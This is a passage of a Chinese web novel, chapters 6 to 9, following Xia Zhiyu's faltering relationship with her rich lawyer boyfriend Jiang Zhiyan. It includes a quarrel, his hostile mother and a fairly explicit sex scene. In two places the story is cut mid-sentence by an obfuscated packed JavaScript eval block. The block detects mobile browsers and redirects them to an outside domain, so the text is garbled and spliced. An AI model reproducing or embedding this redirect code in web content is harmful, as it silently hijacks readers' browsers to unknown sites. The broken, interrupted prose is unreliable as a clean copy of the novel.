“而且我不要求你在家里不工作,但你能不能别在我睡觉的时候一个接着一个电话的讲。” “啪——” 米奇水杯被盛怒下的夏稚鱼带倒,咕噜咕噜滚到江知砚脚下。 弯起来作为把手的手臂断成两截。 这是热恋期夏稚鱼送给他的第一份生日礼物。 江知砚手背青筋微鼓,他接住抱枕,放在床尾,语调压抑着怒火,一字一顿, “夏稚鱼,你闹够了没。” 带着警告的含义,只言片语间尽是有钱人高高在上的冷漠。 夏稚鱼眼尾还泛着红,眼睫水淋淋的成了一绺一绺,一眨眼,眼泪珠子悄无声息的划过脸颊,瞧着可怜,又倔又委屈。 江知砚最见不得她这个样子,再大的火气也得被这两滴眼泪浇灭了,他叹了口气,连放低姿态都显得像是对夏稚鱼的施舍。 不道歉,不承诺,只是一味地敷衍, “好了,真别闹了,你有什么不高兴的直说不行吗,我们非要吵架吗?我很累了。” 就连递台阶都是一副高高在上的口吻。 夫妻之间哪有隔夜仇,吵架拌嘴是常有的事,之前只要江知砚低头说两句软话,夏稚鱼也就顺驴下坡。 要不然怎么办,日子总不能不过了,就算她在家里能忽视江知砚的存在,上班之后她照样还得跟他汇报工作,冷战对夏稚鱼来说毫无意义。 尽管江知言每次吵架时都会说第二天再聊聊,可吵完之后他们从来都没有就问题谈论过。 失望了无数次后夏稚鱼已经麻木了。 江知砚每次都有借口,要不然是出差,要不然是工作会议,总之一定有事情比跟夏稚鱼交谈重要,夏稚鱼永远不会是他的第一选择。 总是这个样子,又是这个话术。 骗子都知道换个花样。 日子过的真是没劲透了。 无力感像倾盆而下的大雨,铺天盖地淹没了夏稚鱼。 她明明清楚江知砚会这么说,可总是愚蠢的抱着一丝希望。 被子响起窸窸窣窣的声响,夏稚鱼又像个乌龟似的把自己缩进了重重的壳里。 过了好半响,江知砚只等到夏稚鱼一句丧气话。 “算了,就这样吧。” 夏稚鱼看也不看江知砚,背对着他往被子一缩,只剩个毛茸茸的头顶。 态度消极的像是动物园里拒绝营业的海豚。 要是她现在站起身来跟江知砚大吵一架,江知砚反而会觉得夏稚鱼是真的在生气。 可她一萎靡下去,江知砚只会觉得她是意识到自己在无理取闹。 说实在的,夏稚鱼老这样作挺没劲的。 江知砚脸色微沉,他淡淡地撇了眼夏稚鱼,满脸厌倦。 没两秒,皮鞋底接触木地板的声音轻轻响起,门被轻轻拽开又合上。 过了一会,房间里响起夏稚鱼微不可闻的啜泣声。 全自动窗帘不知道从哪里接受到指令迅速合上,屋子里漆黑一片,如同夏稚鱼的心境映射到现实。 屋子里里响起一声自嘲的冷笑。 看吧,她就知道江知砚除了冷暴力之外什么都不会做。 屋内屋外,一墙之隔,都静的出奇。 7. 第 7 章 第7章 餐桌保温垫上整整齐齐放了几个被盖着的盘子,热腾腾的食物香气在空气中弥散。 夏稚鱼撕下桌面上江知砚留的便条扫了一眼,精致漂亮的脸蛋上毫无表情。 “汤和米饭都在锅里,吃完饭之后记得吃药,药就在五斗柜上,我用蓝色分装袋装好了,所里有点事情,我去处理一下。” 字迹恢弘大气,夏稚鱼扯扯唇角,便条揉成一团抛进垃圾桶。 心情再不好,饭也是要好好吃的,尤其她现在还在生病。 不提别的,江知砚这个人饭做的其实挺不错。 夏稚鱼给自己盛了满满一碗饭,她从小胃口就好,今天又没怎么吃东西,眯了不到一个小时就饿醒了。 三个清淡小菜,菌菇鸡肉汤,饭香汤鲜,很合夏稚鱼的胃口。 江知砚出国这么久倒是没丢掉厨艺。 开动之前夏稚鱼还不忘拍了张食物照片发给了爸妈,她爸妈心小,总是记挂着她能不能吃好喝好。 她刚把照片发过去,老妈秒回消息回复了个大拇指,紧接着又拍了张她爸正在灌香肠的照片。 老夏还笑呵呵地跟她比了个耶。 照片右上角花成一片,夏稚鱼知道是什么原因,她妈手机摄像头被射灯弄坏了,一直舍不得换,总说什么还能打电话,等实在用不了了再换。 夏稚鱼爸妈在老家那个三线小城市里其实挣得不算少。按道理说,老夏和宋娟两口子的日子没必要过的这么勤俭。 夏稚鱼心里清楚,他们就是为了给她攒一套北城的房子。 可普通人再不错的收入跟北城这边的房价一比,都显得微薄。 还没等夏稚鱼开始伤感,宋娟女士发过来一长串语音,主要话题是控诉老夏一把年纪了还偷偷吃糖,她刚整理衣架时在老夏外套口袋里摸到了一把糖。 老夏年纪大了,上次体检医生说要注意血糖血脂问题,自此宋娟女士明令禁止他吃糖。 但老夏不抽烟不喝酒,从小到大最大的爱好就是吃糖和巧克力,脸喝水都要放点白砂糖,断糖对他来说比断碳水还痛苦。 背景音是老夏竭力为自己争辩——糖是怕学生低血糖,高三压力大,有学生为了保持清醒的头脑常常少吃东西,坐久了容易低血糖,他可不是为了自己吃。 两个人吵吵闹闹的拌着嘴,夏稚鱼一条语音接着一条语音听。 空旷寂静的房子里充斥着熟悉的声音,夏稚鱼松弛的泡在这份幸福里,像是刚被松完土的种子,用力汲取着大自然的养分壮大自己。 这场争论毫不意外的由老夏认输作为结局。 小夏法官一锤定音,判决以剥夺老夏甜食采购权为最终判决。 手机屏幕黑下去的那一刻,夏稚鱼感觉自己重新活了过来。 今天遇到的所有糟心事像是被爸爸妈妈整合好后塞进了垃圾袋里,跟着厨余垃圾一起被丢弃在门口,等待它的最终归宿只剩下垃圾站。 幸福对于夏稚鱼来说很简单。 睡一觉、跟爸妈聊天、和朋友出门、一个人去爬山、吃到格外美味的冰淇淋…… 生活里每一件微小而有趣的事情都可以带给她安全感,治愈她的不快乐。 人生没有过不去的坎,夏稚鱼永远坚信这一点。 “兄弟,听哥一句话,你把心放宽,人生没有过不去的坎。” 陈越摇头晃脑的装出一副过来人的模样,朝着正一边打点滴一边单手举着文件的江知砚道: “你想开点,就把你妈当成一个坎,每次见到她之后你就在心里默念五四三二一,倒计时结束你就开跳。” “蹦过去了就算结束了,你也知道你妈的性格就是那个样子,她看不上小夏——” “说完了吗?”江知砚头也不抬的翻了页文件,语气冷淡,“说完了去找护士,这瓶药快打完了。” “你摁个铃不就完了,还非要指挥一下我。” 陈越嗤笑一声又道: “不想让我提小夏你就自己跟她讲清楚呗,你家那点破事,你一字不落的跟她说清楚,我就不在你面前同时提起你妈和小夏。” “她没必要知道这些恶心事。” 江知砚快速处理着手上的文件,工作微信一下紧接着一下响起,跟连环枪似得劈里啪啦。 一句话怼的陈越直翻白眼,恨不得提起江知砚的脚后跟狠狠抖几下,看看他脑子里装的都是哪来的水。 “不是,你都打算跟她求婚了,这有什么不能说的?结婚前不说难道等问题爆发之后离婚吗?” 江知砚把一次性水杯推到陈越面前,深色瞳孔沉沉的盯着陈越, “说完了吗?喝口水润润嗓子送我回家。” 只差把嫌陈越烦几个字刻在脸上。 - “你俩离结婚就只差个领证这个仪式了,这些话有什么不能说的?” 方新乐恨铁不成钢的声音从电话另一头传来。 “话也不能这么说吧”,夏稚鱼的声音明显很淡,像是完全没有期待过结婚一样,“再亲密的关系都要有边界的。” “那是相处空间问题,你这又不是,情侣之间有问题憋着不说迟早要酿出大祸。” 夏稚鱼顿觉一阵头疼,她往后倒在凳子上,椅子前面两个腿高高翘起,在空气里晃啊晃,她苦笑道: “乐乐,你真的觉得他想跟我结婚吗?他妈妈知道我们的事情至少两年了,可江知砚从来没提起过见家长这件事。” 夏稚鱼又补充道:“不论是见我家长还是他家长。” 方新乐还是难以理解夏稚鱼的担忧,她印象中的江知砚方方面面都还不错,他包揽了夏稚鱼衣食住行上的全部问题,细致到无可挑剔。 “这有什么难开口的,江知砚一个大少爷为了你的脆弱玻璃胃又是找合适的阿姨,又是自学厨艺,你现在吃的饭还是他做的吧。” 方新乐电话夹在颈窝里,语速快得像机关枪,隐约还能听到她敲键盘的声音, “还有你之前刚工作的那段时间,江知砚一边在国外工作,一边还要帮你解决问题。你摸着良心说江原那个案子不是江知砚帮你解决了客户?” “还有你俩的猫,这不也是江知砚为了讨你欢心买的。见家长的事情你有什么难开口的?他不说你就直接问啊。” 椅子腿砸落在地上的声响清脆,夏稚鱼轻轻在心头叹了口气。 这就是别人眼里的江知砚吗? 江知砚自己是不是也觉得自己为她扫平了人生路上的一切障碍。 夏稚鱼唇边浮现苦涩笑意,落地窗外景色正好,北城最出名的古迹一览无余,甚至是最好的观景位。 想买到这栋房子,财力都不是最重要的。 钱财之上还有权势。 工作几年后夏稚鱼越发理解门当户对这四个字究竟是什么意思。 她拢起手臂,静静看着窗外恢弘大气的建筑,语气很淡,像是在自嘲, “哪有那么容易问出口呀,我和江知砚本来就门不当户不对,我连工作都是他施舍来的,我还有什么资格问出口。” 电话另一端的方新乐蓦然静了下来。 夏稚鱼一顿,声音轻了许多, “以前我以为只要我自己不看低自己,我和江知砚在爱情里就是平等的,所以我竭尽全力的想做到最好,想堂堂正正的站在他身边。” “可我最近忽然觉得其实江知砚他没有那么爱我,至少没我想的那么爱我,说实在的,如果真的爱一个人,怎么连最基础的尊重都做不到?” “我觉得我像个宠物。” 方新乐忍不住道:“这倒也不至于,鱼鱼,这些话你跟江知砚说过吗?我觉得你得跟他好好谈谈。” “要是能谈我早谈了”,夏稚鱼轻轻在一尘不染的玻璃窗上哈了口气,借着雾气把古迹中心的高塔圈起来,“江知砚每次只会让我不要闹。” 玻璃上的图案消散的极快,夏稚鱼后退一步,有些冷似的环住手臂,声线发紧,像绷着的琴弦, “我俩像是在背道而驰,明明都在努力奔走,但只会离对方越来越远。” “别说见家长的事情了,我现在连工作上的事情都不敢跟他说。” “我甚至想分手。” 话题蓦然沉重下来,夏稚鱼故作轻松道:“分手之后我就回老家考公务员,我看法硕可以考不少岗位。” “还是得谢谢江知砚,我要是读新传硕士可选不了这么多岗位。” 方新乐了解夏稚鱼是什么样的性格,夏稚鱼一向是个对未来充满希望的人,她轻易不会做出放弃的决定的。 她能说出这种话,足以说明夏稚鱼在这段关系中已经看不到未来了,她甚至都开始规划离开江知砚和北城之后自己要做什么。 但江知砚那种人真的会和鱼鱼和平分手吗? 方新乐挂断电话,作为夏稚鱼和江知砚恋爱全过程的旁观者,她可能比夏稚鱼这个当事人还清楚江知砚到底是个怎么样的人。 夏稚鱼没谈过几次恋爱,原生家庭幸福,经历的糟心事也少,所以她看谁都觉得是好人。 方新乐不一样,她的原生家庭有钱但恶劣,作为同类人,她比夏稚鱼更看得清江知砚。 夏稚鱼和江知砚恋爱后,她衣食住行几乎所有事都被江知砚包揽了下来,他像藤蔓似的无声无息的侵占了夏稚鱼的全部社交关系,沉默但强势的宣告自己的存在。 等夏稚鱼工作后,江知砚甚至都没有假借他人之手,夏稚鱼完全是江知砚手把手带出来的。 天知道方新乐得知江知砚居然一字一句修改夏稚鱼的工作文件长达两年时有多震惊,更别说江知砚还承包了所有的家务和杂事,用自己的人情给夏稚鱼工作铺路。 明明是用钱就可以解决的事情,但因为对象是夏稚鱼,江知砚心甘情愿为夏稚鱼耗心耗力付出。 这对一个从小接受顶尖精英教育的人来说绝对是不正常的。 他对夏稚鱼的占有欲已经超过了正常的范围。 夏稚鱼自己都没意识到这一点,还天真的以为分手是一件很容易的事情。 但幸运的是江知砚对夏稚鱼的爱意就跟他手腕上象征着财富意义的劳力士一样清晰可见。 如果鱼鱼真的打算分手了,江知砚真的会放她走吗? 方新乐放下手机,点开还没做完的数据表格,无奈叹息。 夏稚鱼半倚在落地窗前,百无聊赖的翻看手机,翻着翻着就忍不住点进微信里和江知砚的聊天框。 ‘你几点回来?’ 大拇指点在蓝色的发送键上迟疑许久。 她这次才不要哄着江知砚了,夏稚鱼嘴唇不高兴的抿成条直线,当即按下删除。 随手往上一划,界面里她和江知砚的聊天内容少的可怜。 除了工作消息外,他俩最近的聊天记录时间是2025年6月7日20:42分。 是江知砚发给她了一条黄色大风预警,提醒她早早回家,记得关窗。 但那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270493|182277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天夏稚鱼跟团队出去聚餐了,吃完饭又在KTV狼哭鬼嚎了老半天。 等她顶着不太清醒的脑袋站在KTV门口看着被狂风吹到东倒西歪的高大树木时,远在美国的江知砚给她给她发来了这条消息。 如果他早发两个小时,夏稚鱼会婉拒同事们唱歌的邀请,趁着大风还没到,早早打车回家。 如果他晚发两个小时,夏稚鱼会觉得正常,毕竟他在美国,和北城有12个小时的时差,他没注意北城会刮大风也是正常。 可偏偏是现在这个时间点,八点四十二分,如果她在家,这场大风就影响不到她,可如果她不在家,这条消息也不会起到任何有用的作用。 就跟江知砚对她来说一样。 黄色暴风已经来了。 手机屏幕上燃起小小的火苗,周围排队108人。 她叫不到回家的滴滴。 夏稚鱼在大厅里等了二十分钟,玻璃幕门外的卷着尘土的疾风越来越大,塑料袋呼的鼓起,一下窜上七八米高,又猛然被摁在地面。 风不见要停的趋势,手机上的排队界面缓慢的挪动到了86。 和江知砚的聊天页面也没有弹出新的消息。 最后还是酒店安排了车送她回家。 踏进毫无人气的大平层里,这是夏稚鱼头一次萌生出了分手念头。 异国恋再加上永远忙着工作的江知砚,夏稚鱼觉得自己跟丧偶没什么区别。 - 和方新乐说出来自己的心里话后,夏稚鱼难得轻松一些,她歪在沙发上,嘎嘣嘎嘣的咬着冰棍刷手机。 江知砚进家门后一眼就看到了扔在茶几上的两个交叠在一起的冰棍棒棒。 沙发上的夏稚鱼嘴边还沾着黑乎乎的巧克力脆皮融化后的痕迹,她像是被吓到了似的看向他,手里举着第三根刚突破塑料包装袋防线的冒气巧乐兹。 客厅里回荡着夏稚鱼手机里滋儿哇啦的狗叫声。 江知砚扫了眼夏稚鱼大咧咧翘着腿躺在沙发上的懒样子,心头冒火。 听这个叫声多半是夏稚鱼关注列表置顶的那个宠物博主,江知砚也是最近才发现这个博主的每一个视频夏稚鱼都会发长评,博主也会回复,两个人经常在评论区里聊得不亦乐乎。 也不知道一条狗有什么好看的。 夏小江不知道从那个角落里钻了出来,端坐在夏稚鱼旁边,两双同样又大又圆的猫眼紧盯着江知砚。 只不过夏小江的眼神像是在看偷闯进家里的贼。 夏稚鱼则是做贼心虚。 江知砚眉头狠狠跳了一下,神色越发冷淡。 江知砚没出声,他把包放在玄关上,抬手抽松领带。 他连外套都没脱,衬衫下摆皱巴巴的。 对别人来说可能是正常的,但对于江知砚来说这就很奇怪,江大律师可不会让自己这么狼狈。 夏稚鱼没多想,她现在满心满意都是怎么混过吃冰淇淋这件事,哪还有功夫注意别的事情。 “你要吃吗?” 夏稚鱼脑子一抽,朝着江知砚举起巧乐兹。 她有些懊恼,刚才一聊开心就大意了,她竟然把江知砚已经回国这件事给忘了。 趁着江知砚换拖鞋,夏稚鱼眼疾手快的把茶几上的冰棍棒棒迅速塞进垃圾桶。 她平常身体好的时候江知砚都不让她吃冰淇淋这种东西,更何况她今天都吐了,要是让江知砚看到她吃了这么多冰淇淋,死的肯定是她。 夏稚鱼小心观察着江知砚的反应,又详装镇定,窸窸窣窣地扯开塑料包装,自顾自道, “前几天买东西凑单买的冰棍,浪费了多不好,你不吃的话我帮你解决。” 冰棍腾空而起,夏稚鱼一口还没咬下去,腮帮子就先被江知砚控制住。 江知砚居高临下的看着她,两根指头嫌弃的捏着冰淇淋的塑料包装,像是在捏着什么有害物质似的。 嗖的一下,夏稚鱼眼睁睁看着冰淇淋被扔进垃圾桶,投射相当精准。 江知砚简直要被夏稚鱼蠢笑了, “夏稚鱼你还以为自己是个小孩吗?” 江知砚抽出茶几上的湿巾,抬起夏稚鱼下颌,手上稍微使了点劲擦拭。 疼的夏稚鱼以为江知砚用的是砂纸在打磨。 “你轻点……” 夏稚鱼含糊不清的嘟囔道。 “这么大个人了吃个东西还能糊一嘴,胃不舒服还吃冰的,你是被江镜骂成傻子了吗?” 空气刹那间静了下来。 夏稚鱼呼吸滞住,身子后倾,躲开江知砚的动作,嘴里嘟嘟囔囔地抱怨, “够了够了,擦干净了,我嘴皮子都开始疼了。” 江知砚丢掉手上的纸团,垂眼。 夏稚鱼黑亮的瞳孔湿漉漉的,嘴唇也是,唇边肌肤如她所说微微泛红,饱满的唇珠被抿的鼓起,不太高兴的样子。 “你只会在我面前耍脾气吗?” 江知砚忽然站起身,居高临下的看着夏稚鱼,冷笑一声, “江镜质问你的时候你的嘴是上封条了吗,怎么乖的跟孙子一样挨骂?” “你在我面前耀武扬威的样子怎么不在江镜面前也使出来?” 夏稚鱼无意识攥进沙发套,嘴唇嗫嚅着, “可她好歹也是你妈妈……” 江知砚嗤笑一声,“跟你有什么关系。” 他手揣在兜里,垂下眼帘,重复道: “她是我妈,跟你有什么关系。” 8. 第 8 章 第8章 “喵——” 夏小江像是英雄似的从沙发上一跃而起,利爪出鞘,照着江知砚手臂猛猛挠了一爪,留下三道缓慢溢出血滴子的红痕。 江知砚眼疾手快掐住夏小江后颈,面色黑沉。 一落进江知砚掌心,夏小江四肢耷拉下来,又跟被虐待了似的呜咪呜咪直叫。 闻者皆心酸。 “江知砚你用那么大力气干什么!” 夏稚鱼反应大到吓了江知砚一跳。 她迅速把夏小江从江知砚手里抢过来抱在怀里。 夏小江瑟瑟发抖地蜷缩在夏稚鱼怀里,背毛炸起,大脑袋一个劲的往夏稚鱼怀里缩。 堪称猫界奥斯卡影帝。 “好了好了乖宝宝不闹啊”,夏稚鱼心疼的顺着夏小江毛捋。 把猫哄的差不多后她又埋怨江知砚, “你别吓它啊,小江应激了怎么办,它上次吓到后尿闭了好几天你又不是不知道。” “我吓它?” 江知砚简直要气笑了,手臂上的伤口又热又疼, “夏稚鱼你要不要回忆一下刚才是谁先动手的。” 而且夏小江上次是因为它打针的时候不老实,非要去招惹阿拉斯加,被人家呲牙吼了一嗓子吓到尿闭。 难不成他还能比阿拉斯加凶了? 它夏小江吃的每一口猫粮和罐头可都是他买的。 小没良心的。 跟它妈一个样。 江知砚恨得牙痒痒。 “那你不回家小江肯定不记得你了啊,你刚才一凶它挠你两下怎么了。” 夏稚鱼没好气的反驳,低头哄夏小江的声音又夹了起来, “妈妈给我们宝宝开罐头好不好呀。” 声音软的跟能掐的出来水一样。 江知砚冷着脸抽了张纸,踢里哐啷的,不知道的还以为多大的伤口。 夏稚鱼心里有气,这会也不愿意搭理他。 换做以前她早都翻出来医药箱给江知砚消毒了。 为了防止夏小江偷吃,罐头放在了橱柜最上层,夏稚鱼自己也够不到,每次都要搬凳子。 江知砚特意在橱柜里挑了盒夏小江最不喜欢吃的兔肉罐头。 撕开铁盖,勺子把罐头挖一半出来放在丰荣玩具里抹平,防水垫铺在地上。 即便很久不做家里的杂事,江知砚的动作还是很熟练。 在江知砚出国之前家务都由他包揽。 从小没干过活的大少爷变得从做饭到收拾夏小江的猫砂盆样样精通。 就因为夏稚鱼一句——她不喜欢家里有外人的身影。 江知砚还专门去学了夏稚鱼爱吃的家乡菜,煎炸烹炒样样拿得出手。 其实,如果不看两个人之间的阶级差异,江知砚的确算是二十四孝好男友了。 夏稚鱼想的出了神,心头隐隐发酸。 江知砚为什么要把这些事情做的这么好,要是他在生活上也对她苛刻,她肯定早都跟他分手了。 他为什么爱她,却又不够爱她。 酸意在心头蔓延开。 夏小江嗷的一声从她怀里扑下来,兴奋的边玩变舔,舌头甩的跟上了发动机似的。 “我看它所有的盘子都换成漏食球算了,你看它都胖成什么了。” 江知砚抱着手臂,语气嫌弃。 夏稚鱼强词夺理,像个纵容孩子的家长,“哪里胖了,它就只是毛厚而已,长毛猫看起来都这样。” “你就惯着它算了”,江知砚声音轻了些。 他眉眼微垂,语气里带着些抱怨的腔调,“也不见你对我有对它一半好。” 空气静了一瞬,江知砚抱起手臂,静静的瞧着夏小江连吃带玩。 落地窗外,天色正好,夕阳边缘嵌着层金光。 北城的夜景总是很美。 夏稚鱼撇了眼江知砚手臂上引人注目的红色,再看着夏小江玩的不亦乐乎的样子,认命地叹口气,低声道: “医药箱在电视柜下面。” …… 江知砚抬起胳膊,刚换上的睡衣还带着夏稚鱼喜欢的樱花香气,再垂眼,夏稚鱼毛茸茸的头顶就在身前,搭在她肩头上的长发被素粉色大肠发圈松松拢住。 这个发圈他记得还是他俩刚在一起时逛夜市买的,很便宜,五块钱两个。 江知砚给她买过三四个七八千的真丝发圈,夏稚鱼知道价格时当场就要气昏过去。 夏稚鱼三令五申强调发圈发夹这种都是容易丢的消耗品,严禁江知砚再给她买这么贵的。 她当时趴在江知砚胸前,一脸严肃的告诉江知砚钱不能乱花, “北城房子很贵的,我们不可以大手大脚乱花钱,要不然以后买不起房子的。” 当时的夏稚鱼不知道江知砚的家世,但她想和江知砚在北城有个家这个想法还是极大地取悦了江知砚。 于是,夏稚鱼法硕毕业后,江知砚在北城买了只属于他们两个人的家。 房产证上他和夏稚鱼的名字并列一行。 沾着碘伏的棉棒仔细擦过伤口,泛起轻微刺痛,他背上被江镜打出来的伤口更是一跳一跳的灼疼。 江知砚感觉自己的感知像是被切割成了两个部分,一半嘶吼着精神和□□上的双重疼痛,每次见江镜后的阴影总是这样挥之不去,另一半却沉浸在夏稚鱼发梢的洗发水香气。 他已经习惯了在夏稚鱼面前只表现出自己最好的一面。 江知砚希望夏稚鱼心中的他是踏着七色祥云来娶她的盖世英雄,而不是永远无法挣脱原生家庭的loser。 江知砚想在夏稚鱼面前无所不能。 夏稚鱼撩起碎发掖在耳后,从医药箱拿出创可贴撕开,她在江知砚脸上已经结痂的三道划痕上比划了几下。 感觉好像不是很需要贴创可贴诶。 “要不然算了吧,贴创可贴反而会捂到伤口吧,要不然把你脸上那个口子贴上防水创口贴好了。” 她半蹲着拿出药箱后顺势就给江知砚上药,也没坐沙发。 问话时自然而然地仰起脸,巴掌大的素白脸蛋,鬓边发丝微乱,嘴唇却湿漉漉的红润,眼里也荡着水光,专注的看着他。 仿佛夏稚鱼的世界里只有自己。 江知砚呼吸一滞,忽然提了个跟创可贴风马牛不相及的问题, 他说:“你胃还疼吗?” 嗓音微哑。 “吃完药就不疼了,你下次吃饭的时候不要提工作了,很倒人胃口,今天肯定是因为饿久了我才胃疼。” 趁着江知砚自己提起了这件事,夏稚鱼顺势抱怨了两句。 脸上的创可贴夏稚鱼没贴好,边缘粘在了一起,翘起边来。 江知砚从出生开始就享受着最顶级的生活条件,脸上的皮肤更是毫无瑕疵,夏稚鱼就连撕个创可贴都小心翼翼的,生怕给这张顶级帅脸留下点红印。 她晚上还指望着这张帅脸下饭呢,江知砚这种脸蛋她看多少年都不会厌倦的。 那个女人不颜控,夏稚鱼对江知砚的脸感情极深。 夏稚鱼呼出的热气搔着皮肤,痒意一路传到心底。 被拉扯的感觉很轻,江知砚清楚夏稚鱼对他的脸一向没有抵抗力。 江知砚瞳孔黑到幽深,他偏过头,直勾勾盯着夏稚鱼,声音里的沙哑清晰可见, “鱼鱼,我想亲你。” 夏稚鱼差点以为自己幻听了。 “怎么这么突然……” 江知砚没耐心听她说完,他使了点劲压住夏稚鱼的后颈,急切的抬起下颌叼住夏稚鱼下唇,舌尖长驱直入。 夏稚鱼被江知砚压住手臂束缚在沙发上的小小角落。 接吻的时候江知砚总是很用力,绞着舌尖逼着她流出更多水液,再贪婪的吞食掉。 夏稚鱼觉得自己像是熟过头的水蜜桃,江知砚在她身上撕开个豁口,吮吸、吞咽,带起淋漓水声。 “不要了……” 江知砚的领口被她拽的皱巴巴,夏稚鱼偏过头,额发濡湿后贴在脸上,声音湿的像是从水里捞出来的, “我明天还要去参加同学聚会呢,嘴巴肿了不好看。” “肿了也没关系,反正他们都知道你有男朋友”,江知砚含着唇珠舔吮,声调有些模糊,“而且鱼鱼也舒服的,不是吗?” 他抬头看向夏稚鱼,深邃眼窝情意绵绵,红润唇瓣沾着水渍,像露水滚在鲜艳花瓣上,诱人心魄。 被江知砚这张脸用这种眼神看着谁能受得了啊! 夏稚鱼欲哭无泪,到底是没忍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270494|182277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心拒绝。 江知砚满足的用鼻尖蹭了蹭夏稚鱼。 他喜欢做这种事情时夏稚鱼看向他懵懂无措的湿润眼神,没有争执,没有怒火,猫儿似的圆眼里盛满他的身影。 这种仿佛占据了夏稚鱼全部身心的感觉让江知砚上瘾。 “回卧室好不好。” 江知砚呢喃着吻上夏稚鱼耳垂,叼住软肉,力道极轻地拉扯、研磨。 他擅长用这种打着商量旗号的语调跟夏稚鱼讨要。 这是江知砚在夏稚鱼这堂课里学到的第一个本领。 这时候的夏稚鱼总是格外好说话,毕竟谁不享受在外说一不二的冷脸帅哥趴在你耳边撒娇。 “那只能一次。” 夏稚鱼拽着自己衣领,退而求其次强调道,“明天我要去参加同学聚会的,不许在我身上留印子。” …… “嘶——你轻点!!!” 夏稚鱼咬上江知砚肩头,眼尾不受控制的冒出生理性泪水。 呜呜呜太久不做差点忘掉江知砚某些地方也很符合她对东欧人种的刻板印象! 江知砚扯过夏稚鱼砸他用的靠垫,语调压抑而简短,“抬腰。” 夏稚鱼拱起身体,微张的唇齿间溢出脆弱低音。 江知砚眉头皱起,他默不作声的撑在夏稚鱼身侧,黝黑瞳孔仔细分辨着夏稚鱼神情。 卧室门被空调冷气吹的左右摇晃。 夏稚鱼难耐地扫了眼江知砚,细薄的眼下肌肤都泛着红意,她没说什么,可仿佛连呼吸都催促着江知砚。 眉头微蹙,眼角溢出水花,鱼鱼眼神依旧是湿漉漉的,动作和回应也足够热情,可她眼神空洞,眼底没有温度,视线的焦点始终不在他身上。 即便他们此刻亲密无间。 从不太顺利的第一次到现在,江知砚忽然觉得这会是他们之间最糟糕的一场欢愉。 焦灼感在此时此刻被无限放大,江知砚喉结滚了滚,低头咬上夏稚鱼颈侧,热气呼在耳畔,声音低沉, “在想什么?” 夏稚鱼环着江知砚脖颈,鼻尖忽然在江知砚耳后嗅到一股陌生的甜香。 炙热的身体蓦然冷却下来,呼吸都变得困难。 窗外风声忽然变大,疯了似的咆哮着卷起树木枝叶砸向玻璃。 门外响起夏小江固执的挠门声。 疑窦像是长着尖刺的藤蔓一寸寸攀上她的心脏,扭曲、缩紧,挤出酸涩汁水。 又来了,又是这种疑神疑鬼的感觉。 夏稚鱼痛苦的闭了闭眼,她的安全感呢? 她为什么会涌起江知砚出轨了这种猜测。 没人比夏稚鱼更了解江知砚,她清楚按照江知砚的性格,他不可能出轨,但一瞬间涌上心头的无力感如同潮水般席卷而来,绝望彻底淹没了她。 夏稚鱼不明白自己为什么会患得患失到这种地步。 周遭变得寂寥,夏稚鱼松开环着江知砚脖颈的手腕,她听到自己冷静沉着的声音, “没什么,我今天有点不舒服,不想做了。” 说完,夏稚鱼推开江知砚,滚到自己那一边背过身去,被子压的严严实实,从后面只能看到一个毛茸茸的后脑勺。 片刻,江知砚伸出手臂松松搭在夏稚鱼侧腰,他清楚地感知到夏稚鱼身体僵了一瞬。 过了没一会,夏稚鱼借着翻身的空挡甩开他的手臂。 她没睡,但拒绝和他□□,也拒绝他的拥抱。 江知砚沉默的注视着夏稚鱼的背影。 床的另一侧震了震,拖鞋沙沙的声音轻轻响起,越来越远。 夏稚鱼双眼紧闭,脸侧挨着的真丝枕巾一片冰凉濡湿。 浴室里,冷水兜头淋下,江知砚用力搓了把脸,水珠顺着他刀削斧砍似的硬挺轮廓滑下。 披上浴巾,熟悉的眩晕感猛的席卷而来,江知砚手撑在洗脸台上,夏稚鱼精心挑选的铜雕花镜面上映出他剧烈喘息后涨红的脸,心脏几乎要从胸腔跳出来。 江知砚抬眼,冷冷注视着镜子里近乎狼狈的自己。 额头溢出的冷汗混着水珠砸在洗脸台上。 他不在国内的这一年里,鱼鱼为什么变了这么多。 是谁使得她离自己越来越远? 只是江镜吗? 9. 第 9 章 “你俩是从昨晚做到了今早吗?,还是加班了?你怎么精神状态这么差?” 方新乐缓缓踩下刹车,车子停在斑马线前。 他们本科是小班教学,而且大部分都是女生,大家关系还不错,加之北城是国内新闻业和娱乐业最繁华的地方,留在北城的同学也多,稳定的同学聚会也有利于大家交流相关行业信息。 虽然夏稚鱼和方新乐已经不从事传媒行业了,但是从事的毕竟还是跟人打交道的行业,这种有利于发展客户的场合她俩从不错过。 夏稚鱼没接话,她懒懒靠在车窗上,红润唇角破皮的痕迹清晰可见。 三两行人顶着烈日匆匆从车前走过,红灯倒计时只剩下十秒不到。 车窗玻璃折射出的光芒刺眼极了。 夏稚鱼手掌松松搭在眼前,指尖下的睫毛颤的厉害, “我们昨晚提到他妈妈了。” 她声音很轻,语调却像是根紧绷琴弦,随时有可能支离破碎。 方新乐握着方向盘的手蓦然收紧。 “知砚说‘她是我妈,跟你有什么关系’。” “可说完之后又跟没事人一样跟我接吻撒娇,乐乐,你说这是他们有钱人的手段吗?” “他是不是默认和我不会有未来,所以在说完那么绝情的话之后还能做出一副一切如常的样子。” “而且……” 方新乐清楚的听到夏稚鱼声音哽住了。 